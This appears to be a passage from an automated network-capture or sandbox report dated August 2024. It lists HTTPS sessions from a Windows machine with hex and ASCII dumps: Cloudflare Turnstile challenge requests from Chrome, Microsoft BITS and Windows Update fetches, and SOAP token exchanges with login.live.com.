2024-08-28 11:52:42 UTC	1369	IN	Data Raw: 63 67 49 65 74 6a 4c 71 4f 6d 34 79 35 6b 62 53 2b 77 61 2b 54 6b 4d 61 58 76 4d 62 49 6e 70 57 4c 77 70 2f 51 6f 4e 43 6c 72 62 54 56 71 70 47 54 32 4d 65 71 6c 39 33 4d 75 5a 2f 66 30 4e 69 66 35 4e 4f 33 74 4f 50 59 70 72 7a 75 33 4f 2f 61 38 73 57 2b 79 50 54 48 39 37 58 44 37 4c 50 74 30 4e 6a 37 76 74 4f 36 77 39 72 33 30 66 54 6d 41 4e 6a 56 2b 41 62 67 7a 41 55 48 44 64 44 51 38 2f 66 4e 38 75 48 69 47 66 73 57 31 41 30 65 32 64 2f 72 2b 78 6f 62 34 41 4d 45 35 4f 54 73 2f 43 37 6e 4a 67 6b 79 4c 78 51 4a 37 77 77 69 46 7a 73 34 47 42 62 31 4b 68 77 71 2b 69 38 6b 47 50 30 79 4a 44 5a 44 46 78 34 37 51 6c 45 71 53 45 77 68 56 54 45 2f 45 56 52 54 51 78 56 59 56 30 38 32 57 7a 51 2f 51 52 31 63 58 54 6c 4b 48 45 4a 70 4f 79 78 6d 4d 45 63 2b 62 30 Data Ascii: cgIetjLqOm4y5kbS+wa+TkMaXvMbInpWLwp/QoNClrbTVqpGT2Meql93MuZ/f0Nif5NO3tOPYprzu3O/a8sW+yPTH97XD7LPt0Nj7vtO6w9r30fTmANjV+AbgzAUHDdDQ8/fN8uHiGfsW1A0e2d/r+xob4AME5OTs/C7nJgkyLxQJ7wwiFzs4GBb1Khwq+i8kGP0yJDZDFx47QlEqSEwhVTE/EVRTQxVYV082WzQ/QR1cXTlKHEJpOyxmMEc+b0
2024-08-28 11:52:42 UTC	1369	IN	Data Raw: 65 4b 61 48 75 4a 4b 65 67 4c 71 62 6d 72 6a 43 76 37 32 48 77 62 65 4b 68 49 36 6d 67 73 4f 51 7a 39 48 54 7a 61 32 4b 7a 70 44 45 6a 70 62 62 79 4c 72 57 34 4f 47 7a 32 71 57 35 77 4c 47 79 73 37 37 67 74 73 57 75 71 4b 2b 6c 37 65 79 7a 7a 65 58 74 74 75 66 58 2f 72 33 34 2b 4c 33 2b 31 76 43 2b 41 76 54 6a 79 51 66 66 34 73 6f 48 38 41 6b 48 32 73 55 4f 43 73 77 45 43 74 45 53 31 2b 59 51 33 41 7a 61 47 64 67 51 47 68 6b 59 4a 4f 49 6c 36 53 72 34 2b 4f 73 48 37 53 54 79 4d 42 38 41 2f 67 34 6a 42 41 4d 54 47 44 66 37 50 44 59 34 2f 76 55 75 4f 51 4d 66 49 45 70 48 52 55 45 4a 53 67 34 35 43 68 4d 72 44 68 46 56 46 6c 46 52 54 31 52 48 4b 56 59 63 4b 31 51 68 55 42 39 64 57 47 51 6a 5a 54 4d 65 58 69 42 6d 52 31 70 6e 4f 32 4a 45 64 7a 64 6b 63 6d 35 Data Ascii: eKaHuJKegLqbmrjCv72HwbeKhI6mgsOQz9HTza2KzpDEjpbbyLrW4OGz2qW5wLGys77gtsWuqK+l7eyzzeXttufX/r34+L3+1vC+AvTjyQff4soH8AkH2sUOCswECtES1+YQ3AzaGdgQGhkYJOIl6Sr4+OsH7STyMB8A/g4jBAMTGDf7PDY4/vUuOQMfIEpHRUEJSg45ChMrDhFVFlFRT1RHKVYcK1QhUB9dWGQjZTMeXiBmR1pnO2JEdzdkcm5
2024-08-28 11:52:42 UTC	1369	IN	Data Raw: 6e 36 5a 74 62 65 43 6e 70 74 2f 68 38 69 66 77 59 72 4c 75 63 53 50 76 38 6e 4d 6b 38 53 4f 30 4a 65 4e 30 64 4b 62 32 39 33 57 6f 5a 58 64 32 5a 79 5a 33 65 43 6e 31 38 66 66 71 38 58 74 35 71 37 76 36 61 75 7a 34 2b 6e 73 74 2f 6a 54 38 62 76 72 37 66 69 2b 75 62 72 38 77 72 6e 39 43 38 61 39 2f 51 48 4b 77 65 73 48 79 4d 55 4b 43 4e 49 55 39 77 7a 58 38 51 6f 57 33 64 48 37 31 39 2f 35 47 68 2f 69 32 53 59 67 35 79 67 61 49 4f 30 74 35 69 6a 76 43 69 6f 32 38 77 34 75 4c 76 63 70 45 44 38 77 50 66 49 69 41 54 73 51 50 67 4d 65 4a 45 6f 49 2f 54 35 45 43 79 5a 4f 53 41 6b 47 52 6b 34 54 43 6b 5a 53 47 44 4a 4b 56 52 73 32 50 42 67 67 59 47 4a 65 4a 44 38 38 59 79 63 65 59 6d 4d 73 58 53 64 70 4c 30 70 51 62 44 4d 75 55 48 4d 33 55 6c 78 31 4e 54 4a 36 Data Ascii: n6ZtbeCnpt/h8ifwYrLucSPv8nMk8SO0JeN0dKb293WoZXd2ZyZ3eCn18ffq8Xt5q7v6auz4+nst/jT8bvr7fi+ubr8wrn9C8a9/QHKwesHyMUKCNIU9wzX8QoW3dH719/5Gh/i2SYg5ygaIO0t5ijvCio28w4uLvcpED8wPfIiATsQPgMeJEoI/T5ECyZOSAkGRk4TCkZSGDJKVRs2PBggYGJeJD88YyceYmMsXSdpL0pQbDMuUHM3Ulx1NTJ6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49733	104.18.95.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:42 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:42 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 28 Aug 2024 11:52:42 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: E5+YHSu9hk9p2NRsOKbQDwOo2C92k4P3lRE=$wbpKPHRJqqQ68SCE Server: cloudflare CF-RAY: 8ba418c39fcd42ec-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:42 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49734	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:43 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-28 11:52:43 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=250994 Date: Wed, 28 Aug 2024 11:52:43 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49736	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:43 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-08-28 11:52:44 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=251002 Date: Wed, 28 Aug 2024 11:52:44 GMT Content-Length: 55 Connection: close X-CID: 2
2024-08-28 11:52:44 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49735	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:44 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=coe3ULUE44g6ypp&MD=2+rElee3 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-08-28 11:52:44 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e703209a-c005-4031-a12c-ab0f4bfa6b82 MS-RequestId: e5baf2eb-e85d-4a58-b884-0cab7c950071 MS-CV: hjIjTanV+kWfqW1g.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 28 Aug 2024 11:52:44 GMT Connection: close Content-Length: 24490
2024-08-28 11:52:44 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-08-28 11:52:44 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.16	49738	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:47 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4710 Host: login.live.com
2024-08-28 11:52:47 UTC	4710	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 11:52:47 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 11:51:47 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 853f4a66-29dd-4ec9-95f3-5637bb6c1dd0 PPServer: PPV: 30 H: PH1PEPF00011EDA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 11:52:46 GMT Connection: close Content-Length: 10173
2024-08-28 11:52:47 UTC	10173	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.16	49740	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4710 Host: login.live.com
2024-08-28 11:52:49 UTC	4710	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 11:52:49 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 11:51:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 47c45e06-2272-428a-82ae-47aff3c55f33 PPServer: PPV: 30 H: PH1PEPF00018BC8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 11:52:48 GMT Connection: close Content-Length: 10173
2024-08-28 11:52:49 UTC	10173	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49742	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:50 UTC	927	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34481 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 143f2506b8683a0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:50 UTC	16384	OUT	Data Raw: 76 5f 38 62 61 34 31 38 61 31 65 61 61 39 34 32 33 62 3d 4c 41 64 54 25 32 62 24 4b 6f 2d 76 30 52 41 75 53 68 61 68 61 52 64 39 52 68 45 68 33 68 51 49 73 44 68 71 68 50 49 75 2d 68 62 55 68 4b 49 67 51 57 4b 4b 68 48 6c 6d 68 4b 2d 49 68 4f 68 39 61 2d 51 4e 6c 63 68 45 41 4b 4f 68 55 33 44 49 68 72 7a 51 51 68 32 54 51 6a 4b 57 51 45 64 4b 61 39 52 53 71 50 54 68 32 68 73 30 76 68 73 49 39 6b 68 52 49 4b 59 67 68 4b 7a 49 68 66 4b 66 57 68 4c 69 71 32 4f 49 49 68 4b 6c 54 4b 6a 51 51 35 51 37 67 39 57 68 24 4e 57 73 4c 4f 53 43 68 24 6f 51 4b 53 58 49 5a 55 6c 30 47 4b 51 73 67 4b 24 58 6b 4f 51 68 30 61 6c 68 6e 59 49 57 45 4e 57 68 4b 74 4b 39 67 4b 51 78 68 75 57 68 55 66 38 7a 51 6b 59 76 48 64 52 6c 31 2b 32 52 57 4f 58 63 7a 65 46 44 31 45 73 68 Data Ascii: v_8ba418a1eaa9423b=LAdT%2b$Ko-v0RAuShahaRd9RhEh3hQIsDhqhPIu-hbUhKIgQWKKhHlmhK-IhOh9a-QNlchEAKOhU3DIhrzQQh2TQjKWQEdKa9RSqPTh2hs0vhsI9khRIKYghKzIhfKfWhLiq2OIIhKlTKjQQ5Q7g9Wh$NWsLOSCh$oQKSXIZUl0GKQsgK$XkOQh0alhnYIWENWhKtK9gKQxhuWhUf8zQkYvHdRl1+2RWOXczeFD1Esh
2024-08-28 11:52:50 UTC	16384	OUT	Data Raw: 73 6e 49 59 64 43 68 58 42 59 42 33 69 24 54 24 74 4b 51 68 38 68 72 68 73 54 39 53 68 44 68 4a 54 4b 54 4b 24 44 32 30 67 44 68 6a 79 4a 30 39 74 4b 62 44 73 54 73 6d 4b 6e 68 68 49 67 51 68 70 51 67 49 75 57 68 62 68 72 68 75 53 4b 4c 68 46 49 24 54 68 6f 68 30 74 75 55 68 47 68 72 5a 68 6f 4b 56 43 64 6f 4b 70 35 52 30 69 64 4b 36 4b 64 68 50 42 59 69 68 76 68 4a 51 68 5a 54 63 54 45 74 67 53 4b 59 68 57 49 68 41 68 73 38 46 36 4b 64 4b 76 68 72 74 75 2d 24 73 7a 4b 68 39 41 4b 48 4a 73 42 37 61 4e 67 68 44 67 75 6e 68 6f 54 48 2b 75 4d 4b 43 30 6f 76 75 75 54 58 41 64 68 55 4f 4b 64 68 51 49 32 41 24 24 68 6b 71 39 74 68 55 68 6d 6b 39 68 4b 67 71 45 74 68 4a 2d 32 68 6d 49 51 5a 4b 7a 41 64 49 24 6f 68 63 54 55 6c 39 34 70 36 42 6b 49 45 42 70 57 68 Data Ascii: snIYdChXBYB3i$T$tKQh8hrhsT9ShDhJTKTK$D20gDhjyJ09tKbDsTsmKnhhIgQhpQgIuWhbhrhuSKLhFI$Thoh0tuUhGhrZhoKVCdoKp5R0idK6KdhPBYihvhJQhZTcTEtgSKYhWIhAhs8F6KdKvhrtu-$szKh9AKHJsB7aNghDgunhoTH+uMKC0ovuuTXAdhUOKdhQI2A$$hkq9thUhmk9hKgqEthJ-2hmIQZKzAdI$ohcTUl94p6BkIEBpWh
2024-08-28 11:52:50 UTC	1713	OUT	Data Raw: 32 63 66 4e 6b 71 30 51 2d 32 6e 59 49 54 46 54 24 6f 4b 6a 61 59 71 51 32 2d 4a 71 35 2d 79 55 68 73 38 6d 35 32 44 68 2b 30 70 7a 46 38 74 5a 68 53 2d 73 6e 6c 65 6a 58 6b 6a 45 31 4c 74 65 33 52 71 4f 58 74 57 74 73 33 4f 4b 54 65 74 24 41 41 37 68 73 51 55 71 39 51 43 6a 79 6b 43 43 73 30 35 6a 76 6d 68 6e 79 6c 74 68 35 47 64 4e 74 73 30 78 47 24 52 73 49 73 73 54 6b 4e 4f 6b 72 4a 61 49 54 6d 33 32 24 58 66 67 72 41 67 6b 2d 7a 39 74 75 69 58 69 53 68 75 4f 6e 66 52 6b 65 54 68 65 57 41 34 6d 70 61 30 73 38 48 54 6c 6e 2d 53 68 50 71 62 24 39 54 68 30 59 62 4b 52 64 68 6c 38 56 72 36 61 68 35 65 65 2d 4b 74 68 56 33 65 68 75 4e 4b 4d 61 7a 65 56 6f 39 79 69 4a 57 45 6a 59 35 68 75 68 39 37 50 65 68 73 61 24 4e 7a 2b 54 48 2d 32 30 2b 45 58 59 43 71 Data Ascii: 2cfNkq0Q-2nYITFT$oKjaYqQ2-Jq5-yUhs8m52Dh+0pzF8tZhS-snlejXkjE1Lte3RqOXtWts3OKTet$AA7hsQUq9QCjykCCs05jvmhnylth5GdNts0xG$RsIssTkNOkrJaITm32$XfgrAgk-z9tuiXiShuOnfRkeTheWA4mpa0s8HTln-ShPqb$9Th0YbKRdhl8Vr6ah5ee-KthV3ehuNKMazeVo9yiJWEjY5huh97Pehsa$Nz+TH-20+EXYCq
2024-08-28 11:52:50 UTC	1168	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3416 Connection: close cf-chl-out-s: 9SxhsqEnv7Jh6CURxeqFdhhzVcFjHg1eZkqUDIsVwyB5bl8XIUWMRMzvPxQ3KGKDYlVIjusVG5226j+u5kNlmPIsoH+zxCFON6XW+ZWgSzF3QoDyaXW4Xfnktx/BqBQ1BHFI0rybPT2JnWGuo67gpf++B429rhREai7fn79fANEDr0sRibZweb/oSI3pNS2jbxGfbCsQ1y2oVRXw+vKWoKSP0s3WNaHBlwBKtv+EnEQPW5OlVOpsmoMueHey8c2QLTO/rjXwE9FeqwUvctPyAPbTx0c94vwiMzb0sqrYUNNidYPBK6QWrQNCCX1Fy35NvQJgsudeHjhqr5AInxmxICtwYH8rAoWIDkd10P5JCHHWhjuK8nHK9QS0MkmcU/QEZZ43/yRnIHCKINQaaWat5yuUIWEQ3xapdqFWuWIQX3Ro3fipdD9yDavOY8//oIOpsLr9X6ri0lLhkCCOS4eQ7+A0XO6uxiM3GkRknpd7x8st2nDPIs+SaETar0d6ebOUaFDtYMluRBbg16evI9MJBHVmvMdY0LoRuOU68JgZuQoW2eqKHm7PjPbV2/CRr0evMplgjlsnOT7Oq5IjIU2sgCbQ5FXUkYLeJ/ZOMS7kvn6SKaf7WqMtvwC2rztDywN6Kj9YLCoBORyz+5gHw0FWSGcPForaw7j